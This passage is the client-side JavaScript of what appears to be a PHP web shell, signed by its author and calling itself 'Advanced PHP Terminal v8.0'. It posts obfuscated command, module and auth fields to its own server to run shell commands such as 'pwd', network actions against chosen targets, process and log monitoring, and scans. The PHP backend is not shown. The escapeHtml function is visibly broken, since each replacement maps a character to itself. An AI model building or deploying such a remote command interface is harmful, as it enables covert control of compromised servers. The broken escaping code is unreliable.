data._0xERROR, 'error'); } }) .catch(error => { addToOutput('Network error: ' + error, 'error'); }); } function executeNetworkTool() { const action = document.getElementById('networkAction').value; const target = document.getElementById('networkTarget').value.trim() || 'localhost'; addToOutput(`🌐 Executing ${action} on ${target}...`, 'info', 'networkOutput'); fetch('', { method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({ _0xD1C8_MODULE: 'network', _0xE9F2_AUTH: AUTH_TOKEN, _0x7A9B_ACTION: action, target: target }) }) .then(response => response.json()) .then(data => { let output = ''; if (data._0xOUTPUT) { output = data._0xOUTPUT; } else if (data._0xRESULTS) { output = data._0xRESULTS.join('\n'); } else if (data._0xDNS_RECORDS) { output = JSON.stringify(data._0xDNS_RECORDS, null, 2); } else if (data._0xERROR) { output = 'Error: ' + data._0xERROR; } addToOutput(output, 'success', 'networkOutput'); }) .catch(error => { addToOutput('Network error: ' + error, 'error', 'networkOutput'); }); } function executeMonitor() { const action = document.getElementById('monitorAction').value; addToOutput(`📊 Executing ${action}...`, 'info', 'monitorOutput'); fetch('', { method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({ _0xD1C8_MODULE: 'monitor', _0xE9F2_AUTH: AUTH_TOKEN, _0x7A9B_ACTION: action }) }) .then(response => response.json()) .then(data => { let output = ''; if (data._0xSTATUS) { output = JSON.stringify(data._0xSTATUS, null, 2); } else if (data._0xPROCESSES) { output = Array.isArray(data._0xPROCESSES) ? data._0xPROCESSES.join('\n') : data._0xPROCESSES; } else if (data._0xSERVICES) { output = JSON.stringify(data._0xSERVICES, null, 2); } else if (data._0xLOGS) { output = JSON.stringify(data._0xLOGS, null, 2); } else if (data._0xERROR) { output = 'Error: ' + data._0xERROR; } addToOutput(output, 'success', 'monitorOutput'); }) .catch(error => { addToOutput('Monitor error: ' + error, 'error', 'monitorOutput'); }); } function executeSecurityScan() { const action = document.getElementById('securityAction').value; addToOutput(`🛡️ Executing ${action}...`, 'info', 'securityOutput'); fetch('', { method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({ _0xD1C8_MODULE: 'security', _0xE9F2_AUTH: AUTH_TOKEN, _0x7A9B_ACTION: action }) }) .then(response => response.json()) .then(data => { let output = ''; if (data._0xSECURITY_CHECKS) { output = JSON.stringify(data._0xSECURITY_CHECKS, null, 2); } else if (data._0xBACKDOOR_SCAN) { output = JSON.stringify(data._0xBACKDOOR_SCAN, null, 2); } else if (data._0xMALWARE_SCAN) { output = JSON.stringify(data._0xMALWARE_SCAN, null, 2); } else if (data._0xFIREWALL) { output = JSON.stringify(data._0xFIREWALL, null, 2); } else if (data._0xERROR) { output = 'Error: ' + data._0xERROR; } addToOutput(output, 'success', 'securityOutput'); }) .catch(error => { addToOutput('Security scan error: ' + error, 'error', 'securityOutput'); }); } function addToOutput(text, type = 'success', outputId = 'output') { const output = document.getElementById(outputId); const colorClass = type === 'error' ? 'error' : type === 'info' ? 'info' : 'success'; output.innerHTML += `<span class="${colorClass}">${escapeHtml(text)}</span>\n`; output.scrollTop = output.scrollHeight; } function clearTerminal() { document.getElementById('output').innerHTML = ''; } function escapeHtml(unsafe) { return unsafe .replace(/&/g, "&") .replace(/</g, "<") .replace(/>/g, ">") .replace(/"/g, """) .replace(/'/g, "'"); } // Enter key support document.getElementById('commandInput').addEventListener('keypress', function(e) { if (e.key === 'Enter') { executeCommand(); } }); // Load initial system info fetch('', { method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({ _0xC4D8_CMD: 'pwd', _0xE9F2_AUTH: AUTH_TOKEN, _0xD1C8_MODULE: 'terminal' }) }) .then(response => response.json()) .then(data => { if (data._0xCWD) { document.getElementById('currentDir').textContent = 'Dir: ' + data._0xCWD; } addToOutput('🚀 Advanced PHP Terminal v8.0 Ready\nAll Modules Fully Functional\nType "help" for available commands', 'info'); }); </script> </body> </html>
Coded by Amin Shokohi (Pejvak)